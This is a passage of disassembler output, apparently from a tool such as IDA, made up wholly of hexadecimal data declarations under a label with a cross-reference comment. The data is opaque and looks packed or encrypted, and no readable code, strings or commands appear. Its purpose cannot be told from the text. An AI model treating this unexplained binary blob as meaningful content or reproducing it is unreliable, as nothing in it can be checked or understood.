		dd 9685C498h, 0B485B328h, 0E461DC13h, 0C36BEBAh, 3AB0FB01h
		dd 60B22A46h, 0A0B0FDDCh, 28DF9B74h, 0C42C2B1Eh, 0BA1C0349h
		dd 0CE0916BCh, 0E4C45587h, 0E650CFCDh, 68C4C0C8h, 2041812Eh
		dd 2D2C7104h, 7C3610C3h, 3A277869h, 0CF2E297Bh,	28874220h
		dd 3C902C96h, 0A7807E6Fh, 863979C2h, 1589134h, 27983AC0h
		dd 0F3468AC9h, 0C3EFB005h, 18346C68h, 9B0F5081h, 0E4BF3836h
		dd 2BE047Ah, 9948B9F6h,	3C84D907h, 0B2124708h, 0A78B7078h
		dd 93A54518h, 47E9C2C8h, 3C2071FDh, 0B07FA50h, 122D6BB1h
		dd 0D8C07EC2h, 64BA6ACCh, 0FD298105h, 40567DB2h, 5010F8CDh
		dd 74ADD8F5h, 0BFDC1761h, 8F20418Ch, 70CA212Dh,	0C54FFC38h
		dd 82BE440Eh, 79CC2732h, 0D498273Ch, 2EE85F5Eh,	47889100h
		dd 2F87C021h, 2EB17825h, 28CF041h, 86AFF932h, 6A9C90E0h
		dd 907C9274h, 4450C082h, 21B56722h, 2C41F0B0h, 21E87BBDh
		dd 5049CB4Fh, 1BC86C7Dh, 682A8D1Ah, 70A8DB89h, 80A1F9E0h
		dd 0B2344B2Bh, 5FEC5879h, 2F507441h, 0CB268234h, 8F90FB8Bh
		dd 7E8AF98Dh, 598E3BF0h, 5DE301A5h, 8CE02C2Bh, 0B6370EF5h
		dd 3D102181h, 7479C02Eh, 0C8B55098h, 82C135BAh,	13E0A390h
		dd 80840755h, 102F3835h, 0F9816BCFh, 0BE888EBFh, 0B3225E8h
		dd 0A160E3B0h, 1C212C96h, 82C2DC00h, 48266332h,	8CC11236h
		dd 1C203A9Ah, 942D8E7Eh, 4A9AE5E0h, 2180DBC4h, 0B903098Ch
		dd 1F03F8CCh, 0BA3188B5h, 88D867ADh, 3ADCFA8Bh,	0CADAF509h
		dd 86405C0Ch, 4C042AF1h, 4C72398h, 80000985h, 46B12B9Ah
		dd 0BEC52853h, 0F02E54B0h, 88B405BAh, 0F39E2737h, 28E830DCh
		dd 0C8B3BA2Eh, 0AA3AC1E9h, 0DCA6587Eh, 0AC5C9E25h, 2D2C3060h
		dd 0D41846C5h, 45248ABCh, 9A144426h, 6499D2F4h,	2C09F03Dh
		dd 30E17ECCh, 0B4EFF079h, 2D418C0Ch, 0D004E8BDh, 0CC26F0C0h
		dd 5F182E20h, 2B424F5h,	79C32E37h, 6FB9DC60h, 0B1283201h
		dd 0C85DD11Ah, 60A28BD0h, 717D314Fh, 0D403F0F8h, 0DC9DF166h
		dd 7908305Eh, 0F8699C21h, 0C98B9E00h, 0A5FA0CF0h, 0D4F6D8h
		dd 3DE3459Dh, 38FD520h,	18E1A400h, 4354FA7Eh, 5585061Eh
		dd 0A11C35EFh, 5B9C3A00h, 0BE38A1BBh, 0C2994F51h, 187EF670h
		dd 405BA480h, 1EC00Ch, 0B1621013h, 16A94E64h, 59270400h
		dd 0C7CD877h, 1FB6008Fh, 0AD36D92Ah, 71033846h,	0FC7F35FDh
		dd 5B578078h, 0EC440003h, 1774D82h, 0ED7BB63Ch,	0C1FD7B00h
		dd 0A41E5EDAh, 5906007Ch, 34E1489h, 0D50348ABh,	2F12A755h
		dd 7B2001FDh, 0CCC85371h, 11204EB5h, 96800F94h,	93FDE5B5h
		dd 6D603Ah, 1A9B5844h
		dd 6F2B4E7h, 0FA5BE039h, 80600841h, 0E752B021h,	0EE6E038Eh
		dd 1D500F2Fh, 0BDF49F80h, 5317BF0Ch, 7B2809h, 963B74B0h
		dd 0C92CA16h, 0B1B9EE2h, 9AB82B4Dh, 41702204h, 29C19082h
		dd 0CB893020h, 2450C44Eh, 0C88843FEh, 43E0C05Bh, 573D1555h
		dd 87881C8Ch, 0F306C1Bh, 0B11703B0h, 0BA403ACEh, 7DC3B0F7h
		dd 88F11506h, 1D294085h, 2A617C6Bh, 715401C0h, 69F52C03h
		dd 0A9D89DB2h, 0C93D49C2h, 74DC8283h, 72EB237Eh, 7B1B68B0h
		dd 5843DD01h, 0C9940EDFh, 884438A1h, 1CC87234h,	230A0CC4h
		dd 22D84278h, 52D730h, 8E8A1ECDh, 53C74467h, 1D31FF60h
		dd 0EC31991h, 6F7C7784h, 11087F4Ch, 793C21C1h, 0F9F8F719h
		dd 98FA1839h, 6887F08Dh, 88A6AF36h, 2EB82810h, 0D46957CEh
		dd 1A35F2B1h, 99115A8Fh, 8C18C8E0h, 84C41908h, 4016C47Fh
		dd 9D19943Dh, 0C7930FEBh, 63E7A131h, 8018E4F3h,	0D3B03D9h
		dd 77E4238h, 22BE056Bh,	27E5CBE1h, 0AFE48980h, 9BC1563Ch
		dd 0A9018F19h, 21805009h, 803CC884h, 0EB2802C2h, 9C0D8C13h
		dd 60829DB8h, 20128052h, 0D40CD797h, 0F4765Ch, 0DD6BA071h
		dd 31B920DCh, 5AF88982h, 270420CDh, 48DE7244h, 37A2EC04h
		dd 10038601h, 82C44AE6h, 300EFEE8h, 473002BFh, 84CB382Bh
		dd 922632C0h, 4840B558h, 6B054DC4h, 6FC6D525h, 0AC87F820h
		dd 0F05099D8h, 0C28F7D14h, 177D14h, 3AE864A9h, 532086B6h
		dd 0A87B0007h, 0A54C32CFh, 0F700042Fh, 234FE243h, 28290C5Ch
		dd 0CC454A1h, 0A8348893h, 0DB5106C0h, 0CC6881DAh, 6EE77084h
		dd 0BE08040h, 0EEF1141Bh, 0C980DC52h, 0DA11827Ch, 6C2A0501h
		dd 8510343Fh, 9B4CDCh, 78A02B5Fh, 63FB7AA4h, 0ABDAB807h
		dd 602C7B2Ah, 0AA0A12DBh, 166C435Ah, 71DB6ED4h,	8AE880D0h
		dd 418990CEh, 37F1F5EFh, 0A8BD0AF4h, 14FF4488h,	0C43A30FEh
		dd 0E214BA0Fh, 889C4D84h, 0C3007894h, 0AFFF8CBEh, 0CCD74021h
		dd 98217009h, 1DBECB0Eh, 0C7CE01D0h, 18248C5Eh,	0CFC00A9h
		dd 8FF351B6h, 6C01084Eh, 0EC325090h, 80EC0348h,	0A07765D4h
		dd 0C948009Ch, 0EC83013Eh, 0B1868107h, 8C5331AEh, 9328327Dh
		dd 0C4304EA0h, 0FF8F11BEh, 878C88D7h, 0DFBECC99h, 0D6966AE0h
		dd 6502E212h, 8D6FCA46h, 35A498AEh, 23D20174h, 4FC088E1h
		dd 5FD841A3h, 25D18E6Fh, 3A21207Dh, 14FF14BBh, 9C479506h
		dd 40FE7C50h, 0FA00DEACh, 74E1EEE4h, 915A5488h,	24BC4008h
		dd 7040A375h, 0C31D0012h, 25D39027h, 38280834h,	44938468h
		dd 0C5198F01h, 15188784h, 773E88h, 88682F19h, 75BB0AE7h
		dd 60A85734h, 0C04C9808h, 0FF91BEC2h, 7322C746h, 0BECA970Eh
		dd 0D04740EEh, 0E20BBA5h, 38F6810Eh, 0E3944242h, 602390B3h
		dd 0BED80152h, 18F7FF8Bh, 0C0BD886Eh, 7EB7BE00h, 5ED08541h
		dd 1C0C9A84h, 0E4D8E537h, 3BA4A044h, 0F284A1CCh, 1726080h
		dd 0D098594h, 38E4F98Ch, 1900E379h, 1B63A4F0h, 18AAB15h
		dd 91B02377h, 583856D8h, 6504C7C0h, 0D55573A1h,	4C60A499h
		dd 54048C79h, 49F2AEE7h, 0BA219662h, 0B3E8E74Ch, 235A014Dh
		dd 5916C969h, 0D79058DAh, 564C4806h, 48D895BBh,	18107C54h
		dd 476B0F75h, 3E1B23F7h, 4343F2EFh, 14829D28h, 3CB230BEh
		dd 0E3C11911h, 85804F88h, 87083CCBh, 7F270036h,	5DA35F76h
		dd 0BE33DABFh, 90D1E010h, 0F8260913h, 718C001Ch, 0FAC7729Bh
		dd 400D5EAh, 55926C6Fh,	0A2DBFD1Fh, 0CB8861C4h,	19088D18h
		dd 0CE1784D7h, 954000F1h, 6DDF8619h, 573F01BBh,	0D516FEADh
		dd 8CD8A33Ch, 0F0216017h, 0FEEC3BACh, 14000A0h,	0F78A3802h
		dd 46280A1Ch, 0B5018BB8h, 90F4BD52h, 9C46A608h,	0E54C2CA8h
		dd 0ED204E94h, 7C39AA04h, 0ACD63401h, 4D996181h, 121E7C0h
		dd 96A1AE63h, 4C8EDABCh, 48C77F8h, 0F2B0E756h, 0C044A219h
		dd 14E74EBCh, 5F6F045Dh, 989F32D8h, 0F498B02Ch,	1FAD1722h
		dd 833BB14Dh, 7A2C88F5h, 0D824B800h, 0B6B55357h, 29B11878h
		dd 107218A5h, 697E4E13h, 21B0D461h, 39E991h, 0A58DDB83h
		dd 876953h, 9B5AD0C5h, 20B20B88h, 38ECB448h, 0B84D28EEh
		dd 0FEB88608h, 3302B8Ah, 725EB542h, 7BD939h, 0B4D17E26h
		dd 11F691Ch, 0F2B7A7CEh, 747859B0h, 18A00264h, 0B12CB87Ch
		dd 18AB2C9Eh, 6A0D572Ch, 64097090h, 1588244Eh, 5D1CABC0h
		dd 9CED48B4h, 0C9D6121Dh, 882EBC4h, 940A70B8h, 0AE80CA11h
		dd 0C3C1553Ch, 694D448Ch, 513CC712h, 0EFD5FB00h, 0C636F03h
		dd 715F88D1h, 930260E1h, 62BBA90Ch, 4C3C212h, 3888E44Ch
		dd 88350E74h, 7006DD2h,	0EDBB2F2Eh, 3F165E01h, 915254Fh
		dd 1026E9FDh, 0BC0AE00Bh, 36817410h, 90E67528h,	1FC76501h
		dd 54B1EF01h, 0C8F3F2D7h, 8856A7D4h, 860536Bh, 0DA621E89h
		dd 423E02ADh, 514A7525h, 0CD24B8B0h, 0B0143A4Ah, 23284C20h
		dd 198E01AEh, 182F84DAh, 96438818h, 0BCD01900h,	0C45CFB9Ch
		dd 714F0193h, 0DF0ABF0Eh, 0F4D08226h, 8B6F1478h, 0FAAC02C4h
		dd 0A530315h, 9B8B4900h, 0F1D0A8C0h, 0BA701F8h,	0E5D4F7B9h
		dd 0F6A45041h, 9D00CB1Eh, 7FEDE1DFh, 122DE61h, 0D8B23ED5h
		dd 64AEC5C3h, 0D890BD94h, 1B029646h, 71F2B5E7h,	0B1108131h
		dd 0FF00E753h, 4E1CD863h, 16C32676h, 604F7BE1h,	92BED558h
		dd 0C0BFFF21h, 81BEBD9Ah, 0BADDFC16h, 22C9AC30h, 944800A7h
		dd 0DABD1A83h, 2C993563h, 815FC63Dh, 4841F2FBh,	0BB888254h
		dd 57E71C4Dh, 6395000Eh, 536D1EDCh, 4AE0A956h, 0A000BC6Ah
		dd 0C32DBF53h, 2491C20Ah, 40044F16h, 0BF019FC8h, 0AC2FCB12h
		dd 67C2B4B8h, 0E4E45Fh,	0C54715B1h, 142B5E9Ah, 30134D00h
		dd 0C462C21Eh, 0B9D43B69h, 7E380682h, 6C6CB29Ch, 9F12C10Ch
		dd 14066011h, 0C8EAB81h, 28D710h, 826BCE78h, 9E0999Fh
		dd 0DE44EEFEh, 0C4D56424h, 24608A70h, 0C011FC40h, 1B3CB480h
		dd 448CD3C1h, 0AD008348h, 2ACEBE3Ch, 1D24B22h, 0BF6620A3h
		dd 80244302h, 2164D388h, 172709EAh, 4298376Dh, 0E518FF4Ch
		dd 569002Ah, 6C8BB9FEh,	1EF8508h, 5904BC2Ch, 60C7C353h
		dd 26F738C1h, 0C07CE0FAh, 5F944052h, 0A7B48754h, 3663800h
		dd 5571F40Ah, 0AFA43C2Dh, 0CE849CA4h, 0EC90F2E2h, 0BC1C88E8h
		dd 6CF06702h, 0ECC441D8h, 0B7D10568h, 60073870h, 31AEF2BCh
		dd 0F7808084h, 0AC40821Fh, 9C80766Ch, 7189284h,	0A65C0DDAh
		dd 0A34707Eh, 37003382h, 51EE9EB5h, 28165791h, 8490DD3Dh
		dd 10994C54h, 50576010h, 1400734h, 82A209D3h, 544E3BCEh
		dd 0D9025346h, 0DFFF8EBEh, 0E7176D31h, 1FFA20C1h, 0B8489811h
		dd 452C5C0h, 4C71C040h,	3BCC4387h, 68275497h, 1311F017h
		dd 6287FA82h, 29B4ACC0h, 9C4B980h, 7052F12h, 0C00AE881h
		dd 5C94383Ch, 8C70BC88h, 4ACC7D00h, 16569CD3h, 0E0375875h
		dd 12A9AE84h, 41A2F002h, 64A8C739h, 0C2096016h,	3B04016Bh
		dd 7361A53Eh, 28A2CDB8h, 0FEFF1EACh, 67784F18h,	3DD1FC29h
		dd 368A9986h, 13F0D76Dh, 0E460C15Ch, 0F7AB133Fh, 1B47EC00h
		dd 633800D9h, 2457EAAFh, 0EF0FF4DEh, 0CABB1626h, 86028C89h
		dd 686D56D0h, 60A0FF6Ch, 107A7052h, 63048135h, 5B30AC1h
		dd 4F444888h, 34A44074h, 4AD6AB68h, 0BE08209h, 97C824DFh
		dd 84F02707h, 85C4B4D5h, 0BFF82004h, 3EC1D217h,	7C3CF2ABh
		dd 738651A8h, 8810834Bh, 0BD3B77B0h, 979CD80h, 8FCF787Dh
		dd 0C85C3DFBh, 0E1202180h
		dd 0C0AB4CAh, 0FB861FC1h, 0C48844B1h, 89ECF4A7h, 3F4E8120h
		dd 18499CFDh, 695D4D00h, 0F98575DDh, 22828D0Eh,	7A83A2D7h
		dd 0A867C00Bh, 3212F234h, 0C2D8187Bh, 5224A4CEh, 23870C06h
		dd 0EC80EA85h, 2616F6Dh, 344CE966h, 0B065218Fh,	69604FE4h
		dd 0E70EB723h, 1193549h, 95777085h, 2C3A78A5h, 13C46865h
		dd 0BDE62C60h, 6431024Fh, 12125AA9h, 0C42767E0h, 0B49E6C98h
		dd 1D55465Eh, 0E02C54E7h, 0BE9C9511h, 69F2B289h, 0AE880C65h
		dd 0C7E50050h, 0F68D78Dh, 0B81BCB0Bh, 857490E4h, 0AE7D0780h
		dd 0A619F549h, 0E524C8EDh, 303AE83Dh, 8576293Bh, 0AF300DEh
		dd 8AA1BF9h, 61002A9Dh,	0BF4D915h, 79DC0EECh, 9B981EA4h
		dd 0D63B8785h, 4093A384h, 0D82333C0h, 0F6F860F0h, 969D5F07h
		dd 3F91315Dh, 89B4955h,	880021F0h, 9EBE799Dh, 0E93238h
		dd 6174171Eh, 89C631F3h, 1C6BAD00h, 0E4192ADCh,	0E65B003Bh
		dd 0E5D5D40Fh, 980075CEh, 86140C0h, 73B746C9h, 2B3B0C8Ah
		dd 80995DADh, 6297980Fh, 88FAE1E7h, 8987FDFh, 90212171h
		dd 72429700h, 0C7257550h, 6018C04Bh, 0AB1F35C6h, 0D2EA9600h
		dd 0AE7C6CD1h, 15A62819h, 5D481884h, 6DD6C88Bh,	812E313h
		dd 889A6B00h, 3B3DDA1h,	0BE698ADAh, 28188522h, 2A3194BDh
		dd 150600A1h, 995AB818h, 8DF87BA8h, 0E0981409h,	464F06A9h
		dd 0B6F80089h, 0E82EA374h, 0B50E4834h, 41856F7Fh, 495D089Bh
		dd 0D15FF899h, 3900E3C8h, 0AA4A3348h, 6FE7BBh, 7A53DF54h
		dd 6C4C0AD4h, 0F5F61314h, 57951CE4h, 0B6660C3Dh, 6059388Ah
		dd 1C05A925h, 0D8DEE4B7h, 2E07E306h, 0BEE70A69h, 33C08BE1h
		dd 219C0840h, 2E13455Ah, 86BE8EC0h, 606411CFh, 4D0C31FCh
		dd 3DA195Fh, 809F0825h,	0FC334721h, 0CD9535h, 0E3E1CA4Fh
		dd 0E6F6D422h, 519C0839h, 8969B1BBh, 0F18045C7h, 32C6C3BCh
		dd 0A50171D5h, 2BC00B89h, 787114ECh, 44C4CF2h, 5D999D62h
		dd 20EC6239h, 469D5B1Ch, 0E7514D03h, 47009D6h, 54105FE8h
		dd 0FCD2005Ch, 31E491DAh, 0A138DB33h, 0A2E6E455h, 5110CCA0h
		dd 4CA154A4h, 1C941827h, 0E3E75E97h, 0D587411h,	0E0340E7Dh
		dd 0BDC7A8F6h, 0E391C140h, 37F1833Ah, 0E638089Dh, 0A5213E68h
		dd 30235326h, 0C62D5B21h, 22C23701h, 1ABA6469h,	21570898h
		dd 0C603257Ah, 7BF47586h, 2B78A042h, 0C5F1003Bh, 0BA94E22Dh
		dd 0EE51D9A6h, 28017A9h, 0EB006F34h, 0C77CCEBEh, 0F2318818h
		dd 0A0A0DA22h, 0F6B191B3h, 0DBF45E00h, 0DCD5D39Ah, 83DA30A3h
		dd 52CF5620h, 61BA98A0h, 20105072h, 7D06498Ch, 588599F6h
		dd 1C0E2704h, 5480E85Ah, 3092A738h, 44C141E5h, 76031469h
		dd 0E40FDC1Bh, 81289666h, 30185684h, 0C236C608h, 4055C42Ah
		dd 0A8C6287Dh, 6EFE004Ah, 91FD18E6h, 26020D11h,	340AE52Bh
		dd 442C6755h, 67776074h, 9C7931BEh, 2492BDD0h, 6A004808h
		dd 318E7D2h, 2B03631h, 25A770D4h, 6860A88Eh, 988342E5h
		dd 641728F5h, 605AD831h, 233AC634h, 4E114AC2h, 0C62C8100h
		dd 2BC9E3F0h, 8276DF7Fh, 85BADCA3h, 4E92843h, 0E5B18363h
		dd 7C6F7DF6h, 0D8011DA8h, 65060C8Bh, 0F2014221h, 0CED9F7B5h
		dd 28809D55h, 0BC36BD28h, 90A1919Ah, 8921825h, 87E75C97h
		dd 1F407CC4h, 0D0CB978Ah, 3C3AB003h, 0D8D375F3h, 263E3B47h
		dd 9A206105h, 2441F85Dh, 0BBD994A3h, 3B321090h,	6A383007h
		dd 400594Ch, 0DDA0E40Bh, 11D5898h, 18305C5Ah, 1C04849h
		dd 38A1F434h, 2289848Ah, 0E331A1Ch, 2F308330h, 2A201660h
		dd 0C13C0367h, 0FF8F1B0h, 0A62876B2h, 0E314E07Ah, 0C49C8E05h
		dd 0D30265CDh, 0DCA741F8h, 8CEDC38Dh, 0A4181938h, 0E50F703Ah
		dd 968C8C6h, 827E9BDh, 91427024h, 0C9C284A0h, 40F7CEFCh
		dd 28359A68h, 246C13C2h, 80B4DF22h, 0F9421928h,	0CDF847B4h
		dd 870834A4h, 26A339D6h, 0F6E702CCh, 885A081h, 59AC01DCh
		dd 0A9310EE6h, 50D130F8h, 0F2E22A18h, 5584F850h, 60571CFh
		dd 0A3884C53h, 0F870620Ch, 0D8C49CB5h, 0E7022F9h, 0C17DA0BAh
		dd 0C185F8Bh, 34412465h, 0DD00731Dh, 4B6E100Fh,	0D433C018h
		dd 60C7E392h, 0ADBA88D5h, 7E00EA59h, 19E4104Fh,	2C61A794h
		dd 40D05648h, 0D5EAE36Bh, 3190A8A1h, 944531E4h,	8BFC3650h
		dd 0E054338Dh, 460C30FCh, 9D2235h, 32FC2E46h, 0E47D69BBh
		dd 0BA3E5100h, 0F4C7043Ch, 150DECBh, 21615EA5h,	0E79C74F9h
		dd 0DB40082h, 0C5DF52F4h, 1F5C4810h, 8E1C0354h,	290BA505h
		dd 911E52Ah, 11401D60h,	0E0598078h, 0B8ED8A92h,	96312098h
		dd 30A6F0A1h, 10E6AAC0h, 0C50E90B2h, 64655FC6h,	148876B9h
		dd 0ACF02869h, 40A449ACh, 4878C239h, 5432546Eh,	99302C98h
		dd 0E7631197h, 817688AFh, 83979122h, 42CC848h, 50A1F7Ch
		dd 0FC5FD418h, 44AAC252h, 61C49850h, 0BD57C1EDh, 0F5470D9h
		dd 0FBB6140h, 8647EEEBh, 662DB9B9h, 9D5D0EF8h, 0C4616894h
		dd 561740EAh, 36859Dh, 0BBBA86F8h, 2E7A40F1h, 7498244Ch
		dd 0D890F373h, 76DF8B44h, 0F955126Ah, 902022F0h, 11FC3930h
		dd 885D0C33h, 314980A0h, 5A8639FCh, 29F5A400h, 84C01803h
		dd 0F3B22413h, 91C2020Ch, 0B4896D34h, 58488002h, 0B7034080h
		dd 0A9266FE9h, 0C0088043h, 0C2EC8688h, 594C41D6h, 12389464h
		dd 4020EF9Ah, 34C641FAh, 82216259h, 0A0C8129Ch,	0FF12FD8Bh
		dd 0E0405587h, 60085D3Fh, 3CFCB15Ch, 0B4876F20h, 9E60F244h
		dd 0C4073C09h, 0A973E0FEh, 4205DA0h, 3060C03Fh,	138BEBF1h
		dd 58E89E28h, 0DCA033Eh, 103B8231h, 0DE8EE88Ch,	0C14DD521h
		dd 80E08890h, 0C244CAABh, 4205B7A7h, 0E87918A6h, 7AFC9804h
		dd 9067AB04h, 941A5230h, 0D00F4600h, 22F2B777h,	489E60AAh
		dd 560BF85Dh, 5807A0D2h, 0C400C2B0h, 30EC0E96h,	0BC88FCEAh
		dd 6260F491h, 42538458h, 68F6E157h, 18AF60C8h, 382D54EDh
		dd 404AAEFDh, 65C9A444h, 3F840216h, 8440B8F7h, 5D2E300Ch
		dd 841088DDh, 7138D602h, 209E278Bh, 14F23023h, 0C502DEE5h
		dd 0CAA8F869h, 5EC8461h, 568D24D0h, 983801DCh, 1FC1FD3Eh
		dd 0AA3860A5h, 14A01892h, 0D8DF97BDh, 1482FCF7h, 20A0C469h
		dd 8B4CDFFCh, 49E110ECh, 4BA33013h, 4C02BBD0h, 650043F0h
		dd 398F49FBh, 9236BEA1h, 0FC9829B8h, 0ABB5D939h, 0C0C24096h
		dd 0D44B107Eh, 0C030A741h, 24684C5Fh, 79F909Ch,	4454C4DFh
		dd 6081DDE4h, 14309097h, 0ADC23726h, 34C82960h,	37E473DDh
		dd 5A1A6670h, 0E068632Ch, 73C1D65Ch, 98FE62F3h,	0EC58D35Eh
		dd 63014890h, 0E3C9E0ACh, 0B058F7EEh, 8D9D25BBh, 0E682484h
		dd 9AF0B56h, 66984980h,	20A90D11h, 6A204124h, 0BF69381Ch
		dd 2090696Bh, 0F671D995h, 0B234D700h, 0CB1FD1F9h, 6E8A0498h
		dd 0D23DBD43h, 0A064ACB8h, 62F30504h, 2CC1A7ADh, 5E0276D8h
		dd 883D3040h, 38E3E88Bh, 8845DD7h, 91013CE8h, 0F6E60FE1h
		dd 5D039B01h, 2D3D6081h, 8C72081Ch, 307E00BDh, 5F2FD4C4h
		dd 54C438A5h, 5EC7B860h, 0FDDDA702h, 4140269Eh,	0EA8410h
		dd 0E505C603h, 9A352A1Fh, 2691A4ACh, 72979387h,	77317FE7h
		dd 978B2010h, 9D1F0839h, 440265BDh, 64839461h, 5FA112CCh
		dd 793808D3h, 14100785h, 0D00D80D5h, 90C9F19Ch,	6559E050h
		dd 386100D0h, 0C3EB7156h, 0B21EB437h, 0BE934647h, 76C814D0h
		dd 5C881F9Fh, 3D1BC072h, 0AED8F36Fh, 8ED41E03h,	4CEEDA21h
		dd 0ECF87C60h, 0BC31188Ch
		dd 765DC094h, 0A1368C80h, 9FDFABD4h, 0A08B338Fh, 0E8C0ED88h
		dd 75E76FDCh, 0AB0D2805h, 733C2ECCh, 1817A51Ch,	0F0817691h
		dd 0F4B1243Dh, 0BD2A4592h, 89069488h, 0D4107880h, 0A24120C8h
		dd 94185D17h, 11E02C40h, 4DE40C83h, 0C428189Ah,	24824CC0h
		dd 1D21F84h, 7DE889C2h,	47C7A989h, 4F7B3820h, 0E000DBD8h
		dd 146CE6ADh, 5BF6151h,	0DA248A38h, 1CA4811Dh, 8209FEC2h
		dd 0C47B8834h, 108A5DE0h, 2DFC3781h, 9931CA0Ch,	0FC2F4310h
		dd 3A653607h, 0B3623CB9h, 54C4C17Bh, 0BC592C3Ch, 4EB6C0BDh
		dd 770D374Ch, 8C17FD13h, 5228E888h, 3023F8C3h, 939D5C01h
		dd 0EF18495Dh, 0E0E61689h, 31B9FA0h, 0B8205278h, 7A98BAFEh
		dd 0F0529C7h, 35EED955h, 9E3A307Ah, 65ED9C00h, 0BB686697h
		dd 0F49BB97Ah, 95A75500h, 906EFDEDh, 71496ABCh,	52240AC8h
		dd 5C051174h, 807238D8h, 2028DF55h, 0B0B28D1Fh,	393F1624h
		dd 0F65806B9h, 64986171h, 17566420h, 9E40DE0h, 2823A69Ch
		dd 60AE8B48h, 19C2FA20h, 317C1FFDh, 74E0CA30h, 368166A0h
		dd 8CD23095h, 0C1BA5587h, 0CC582EE5h, 745639C6h, 5DD8643Ch
		dd 6008ACC8h, 0F069A950h, 0E43410A4h, 0A8829178h, 0C6313057h
		dd 42C23B13h, 7E0018CBh, 1722C629h, 449297BFh, 516A2D00h
		dd 151FFC26h, 8D03001Ah, 4F206254h, 0E002484Ah,	5FA9C5BFh
		dd 13CDAC7h, 0F9201907h, 0C067622Dh, 2102660Dh,	55BE9BC8h
		dd 18D342E6h, 0CC440B0h, 53E392D0h, 0E9552341h,	6E37D0FCh
		dd 42BD900h, 7C745750h,	56A300C2h, 1E39ED70h, 9A573B11h
		dd 0A20E12CCh, 0CCEEF41Dh, 0D6934885h, 0C0C7CC04h, 0FE80F16h
		dd 0CEE505B0h, 0A801A149h, 91602F26h, 3A02D426h, 550C34FCh
		dd 4A600471h, 161FC32h,	0CCC2DF82h, 26F671D7h, 25047C20h
		dd 5A0ECF87h, 5E08E660h, 29C244E4h, 84CEC442h, 0BA403DE0h
		dd 48372CC3h, 40080D5Ah, 9795C028h, 8F46E75Fh, 1E027322h
		dd 99F5978Dh, 0C8B8B037h, 8098B642h, 9D1CE5C2h,	0BF1CAE36h
		dd 39872855h, 0F3D02D98h, 9AA4F13Eh, 63F42794h,	0CDA2B0A4h
		dd 285029A0h, 149E952Ch, 0B8ECC68Ah, 6C3CD08h, 99610CE3h
		dd 0F6F84201h, 57483096h, 0B05682Dh, 0C8DCAE14h, 0D94CC0F8h
		dd 0E52A00A8h, 0EC0C2709h, 5064FEAh, 0D2106AD4h, 0DC712E60h
		dd 51189B71h, 42E69660h, 49BA695Bh, 5F0538DCh, 7650810h
		dd 25FBE3D0h, 0B90A207h, 9C72D1CEh, 9E5922E0h, 3169AB31h
		dd 6AE1FF5Eh, 0D3A1D4h,	0F829F19Bh, 7BB639C7h, 0BC01AC24h
		dd 0C0812E97h, 780C3E48h, 0DFDF9188h, 0E7220C29h, 501EA0A9h
		dd 0EE8017AEh, 4D54C9E3h, 243106FCh, 50DD1DDFh,	51310CBCh
		dd 2A134D5Ah, 0DD312200h, 0D459622Eh, 5BA4A190h, 666CD842h
		dd 19C8068Ch, 812DAC98h, 182940A1h, 27139896h, 4096A7E7h
		dd 978E2300h, 2A377069h, 48C7338Ah, 4D9C4C9h, 10BC6291h
		dd 0BB00D4BAh, 0C23072A9h, 8F64E069h, 2499B720h, 57B8307Dh
		dd 63417504h, 28806E53h, 929E55CEh, 2B2B78F8h, 88C05833h
		dd 0D829F5Ah, 44F5CAECh, 1A27C4Ch, 1991DC1Ch, 8195BE08h
		dd 0EE1B6B29h, 8D12A503h, 51172A20h, 0E8554C89h, 0CD02EB7Fh
		dd 0D690F440h, 594230C2h, 54B04820h, 0F1F62C87h, 53E06238h
		dd 0BD508709h, 0C0871C52h, 805298DCh, 0E601FFDDh, 0A3BA4255h
		dd 5FF438F6h, 5E18B4C5h, 0BE007646h, 9D4A9AB9h,	0CF09136Fh
		dd 21EA1C06h, 8C493BCCh, 77C84839h, 0F3A10E02h,	9878F8A7h
		dd 5BD42C4Ch, 126B1B8h,	13D0BBBFh, 8C9C9335h, 201E82EBh
		dd 0BEFC2510h, 1A0B85C0h, 8CEAAF33h, 8C96C439h,	0A8F9F6E3h
		dd 49113BAh, 312000DBh,	92359E4Eh, 40C5E424h, 0B4A5BA8Ch
		dd 0C42550DDh, 0A7D52732h, 3B936022h
dword_50005C	dd 5A11E428h, 7C18542Fh, 6C5EC957h, 88483033h, 47E5EE88h
					; DATA XREF: ___:off_43F29Co
		dd 0B9559DF2h, 620C802Ch, 0FD39E008h, 0DABC3C40h, 0D053821Dh
		dd 30683809h, 9362AD44h, 8C541738h, 0E49826F0h,	0EEBA20h
		dd 17959ABCh, 2BFA0543h, 4F696238h, 6CCC5812h, 0AB9013A1h
		dd 0D5708898h, 818C174Ch, 91DA33DDh, 203D8DD1h,	1C0E2606h
		dd 9213699Ah, 848ACA33h, 14F8A865h, 8110C46Ch, 7C332476h
		dd 0A045EE06h, 0F6AC2411h, 5E74AE4Ch, 0F017346h, 30596A01h
		dd 5E08270h, 0D9A21Ch, 4108E33Bh, 448B61D2h, 50C07BC8h
		dd 96CC69h, 94684A4Ch, 0CFC4495Bh, 1B452890h, 8C55C060h
		dd 35C62F04h, 516232C2h, 0C6277C20h, 0B2E03CCh,	9786A004h
		dd 61C29C99h, 18B86808h, 42896AABh, 9175BF5h, 0DC909850h
		dd 0AE4977FFh, 822C58A0h, 71EDC4F8h, 796446F4h,	0A4209B4Bh
		dd 2A31106h, 0EEE60790h, 35058A49h, 4266F00Bh, 4750711Ch
		dd 5D0448E5h, 70A0C420h, 0E87130C7h, 1891C218h,	0AEC17462h
		dd 80BCBD3Fh, 82183141h, 0B80CCBBFh, 60FB4E9Ch,	0D8640FCh
		dd 6148A117h, 0E61C2C30h, 0D4D0B4ECh, 0B4F2B447h, 22E08417h
		dd 0C1A0C458h, 194908Ch, 5421992Ch, 78C8940Eh, 0A84CDCC3h
		dd 167E0AA5h, 0D08949C6h, 5B7216D8h, 0A445652Fh, 58E20644h
		dd 0AC73FF72h, 0EC3097E2h, 482F17CBh, 0FBBCC862h, 5EADE20h
		dd 69C55992h, 0CEF8A4BEh, 0B2E40C17h, 0DB0053h,	7FF1E780h
		dd 6864984Bh, 10B9C7B6h, 3EC8A100h, 0AC6E3619h,	80BDF4B6h
		dd 0CAB475E4h, 604B8E4Eh, 136B78D9h, 38BCDF1Ah,	91C44AB0h
		dd 887152CCh, 0B9E12218h, 6035B67h, 571D6A20h, 80F2CAB4h
		dd 1C0FFFD4h, 2528906Bh, 2C13BC69h, 68CA7C82h, 0D4A0D04Ch
		dd 0A49553A8h, 44B3250Ch, 38018B23h, 250C2EFCh,	4402C04Eh
		dd 7F2BFC30h, 0E59504E0h, 0D5A58814h, 1EE16F0h,	0ACBB4000h
